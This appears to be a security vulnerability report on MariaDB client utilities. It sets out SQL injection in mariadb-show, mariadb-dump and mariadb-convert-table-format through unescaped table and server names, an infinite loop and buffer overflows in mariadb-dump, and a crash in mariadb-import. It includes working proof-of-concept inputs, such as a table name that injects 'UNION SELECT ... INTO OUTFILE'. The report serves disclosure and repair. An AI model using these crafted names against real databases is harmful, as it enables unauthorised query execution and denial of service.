MariaDB · Report #3849007
MariaDB CLI Utility Issues
How it was found
mariadb-show (and to a lesser extent mariadb-dump and mariadb-convert-table-format.sh) may be tricked into executing malicious SQL if run against an attacker controlled database due to dynamically generated queries not escaping user controlled values.
mariadb-dump contains additional issues that may lead to client-side DoS / buffer overflow issues.
mariadb-show --count --verbose
mariadb-show may EXECUTE malicious queries when used as above because table names returned from SHOW TABLES end up being used without escaping in a SELECT COUNT(*) FROM `%s`; query.
/* Print the count of rows for each table */
my_snprintf(query, sizeof(query), "SELECT COUNT(*) FROM `%s`",
row[0]);
if (!(mysql_query(mysql,query)))
...
additional potential sinks:
Proof of Concept
CREATE TABLE poc(i INT);
INSERT INTO poc VALUES (1), (2), (3);
CREATE TABLE `poc`` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#`(i INT);
SHOW TABLES;
-- poc
-- poc` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#
mariadb-show can then be tricked into executing
SELECT COUNT(*) FROM `poc` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#`
root@localhost
mariadb-convert-table-format.sh
Table names are also not escaped in mariadb-convert-table-format.sh, but the SHOW TABLE STATUS injection doesn't give a lot of room for an attacker to player with. It's possible to inject a single quote ' or LIKE wildcards if needed.
scripts/mysql_convert_table_format.sh:99
$sth=$dbh->prepare("show table status like '$table'");
CREATE TABLE `poc`(
id INT
) ENGINE=MyISAM;
CREATE TABLE `poc%`(
id INT
) ENGINE=InnoDB;
mariadb-convert-table-format --engine=MYISAM --verbose ...
Converting tables: poc already uses the 'MYISAM' engine; Ignored poc% already uses the 'MYISAM' engine; Ignored
mariadb-dump --system=servers
my_snprintf(buff, sizeof(buff), "show create server %s", row[0]);
CREATE SERVER `poc`
FOREIGN DATA WRAPPER mysql
OPTIONS (HOST '127.0.0.1', DATABASE 'base_db');
CREATE SERVER `poc # hidden`
FOREIGN DATA WRAPPER mysql
OPTIONS (HOST '192.0.2.123', DATABASE 'hidden_db');
Because the SHOW CREATE SERVER doesn't quote server names, anything with a space in cause an injection. Not very useful ... but it's there.
mariadb-dump --events (infinite loop)
mariadb-dump --events tries to create a delimiter not present in the event body, but because create_delimiter() increments delimiter_max_size instead of proposed_length during the loop, the proposed delimiter is always stuck as ;; - causing an infinite loop if ;; is already present.
static char *create_delimiter(char *query, char *delimiter_buff,
int delimiter_max_size)
{
int proposed_length;
char *presence;
delimiter_buff[0]= ';'; /* start with one semicolon, and */
for (proposed_length= 2; proposed_length < delimiter_max_size;
delimiter_max_size++) {
delimiter_buff[proposed_length-1]= ';'; /* add semicolons, until */
delimiter_buff[proposed_length]= '\0';
presence = strstr(query, delimiter_buff);
if (presence == NULL) { /* the proposed delimiter is not in the query. */
return delimiter_buff;
}
}
return NULL; /* but if we run out of space, return nothing at all. */
}
Proof of Concept
CREATE EVENT e_low_hang
ON SCHEDULE AT CURRENT_TIMESTAMP + INTERVAL 1 DAY
DO SELECT ';;' AS marker;
$ mariadb-dump --events ...
...
--
-- Dumping events for database 'victimdb'
--
/*!50106 SET @save_time_zone= @@TIME_ZONE */ ;
/*!50106 DROP EVENT IF EXISTS `e_low_hang` */;
^C
mariadb-dump (Buffer Overflows)
There are a couple of places where queries relating to users are copied into buffers that are potentially too small if the 'user'@'host' is long enough (doesn't have to be max length, overflows well before then). Doesn't seem to be overly exploitable at first glance.
if (mysql_query_with_error_report(mysql, &tableres,
"SELECT CONCAT(QUOTE(u.user), '@', QUOTE(u.Host)) AS u "
"FROM mysql.user u "
" /*...*/"))
return 1;
while ((row= mysql_fetch_row(tableres)))
{
char buf[200];
if (opt_replace_into)
fprintf(md_result_file,
"...",
quote_for_equal(row[0],buf), ...);
...
static char *quote_for_equal(const char *name, char *buff)
{
char *to= buff;
*to++= '\'';
while (*name)
{
if (*name == '\\')
{
*to++='\\';
}
if (*name == '\'')
*to++= '\'';
*to++= *name++;
}
to[0]= '\'';
to[1]= 0;
return buff;
}
CREATE USER 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'@'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
$ mariadb-dump --system=users --replace ...
...
DROP ROLE mariadb_dump_import_role;
/*M!100203 EXECUTE IMMEDIATE CONCAT('SET ROLE ', @current_role) */;
zsh: abort ...
mariadb-dump also appears to overflow some buffers while dumping a view whose definer is excessively large. The overflow seems to get caught on an ASAN build, doesn't crash a release build, but these buffers (maybe elsewhere too?) should probably be increased now that longer username / hosts are accepted?
char search_buf[256], replace_buf[256];
...
parse_user(row[1], lengths[1], user_name_str, &user_name_len,
host_name_str, &host_name_len);
ptr= search_buf;
search_len=
(ulong)(strxmov(ptr, "DEFINER=",
quote_name(user_name_str, quoted_user_name_str, FALSE),
"@",
quote_name(host_name_str, quoted_host_name_str, FALSE),
" SQL SECURITY ", row[2], NullS) - ptr);
...
(BONUS BUG) mariadb-import
mariadb-import --lock-tables crashes the client for ordinary direct-file imports. The root cause is that the direct-file branch iterates argv to build files_to_load, leaving argv pointing at the final NULL.
The later --lock-tables path still passes the original remaining argument count plus the now-exhausted pointer to lock_table(), which then calls fn_format() with a NULL filename.
for (; *argv != NULL; argv++)
{
table_load_params p(*argv, "", current_db, 0);
files_to_load.push_back(p);
}
...
if (lock_tables)
lock_table(mysql, argc, argv);
static void lock_table(MYSQL *mysql, int tablecount, char **raw_tablename)
{
...
for (i=0 ; i < tablecount ; i++)
{
fn_format(tablename, raw_tablename[i], "", "", 1 | 2);
dynstr_append(&query, tablename);
dynstr_append(&query, " WRITE,");
}
...
and ...
$ mariadb-import --lock-tables db /tmp/x.txt
zsh: segmentation fault
Impact
mariadb-show --count may EXECUTE attacker-injected SQL if ran against an attacker controlled db.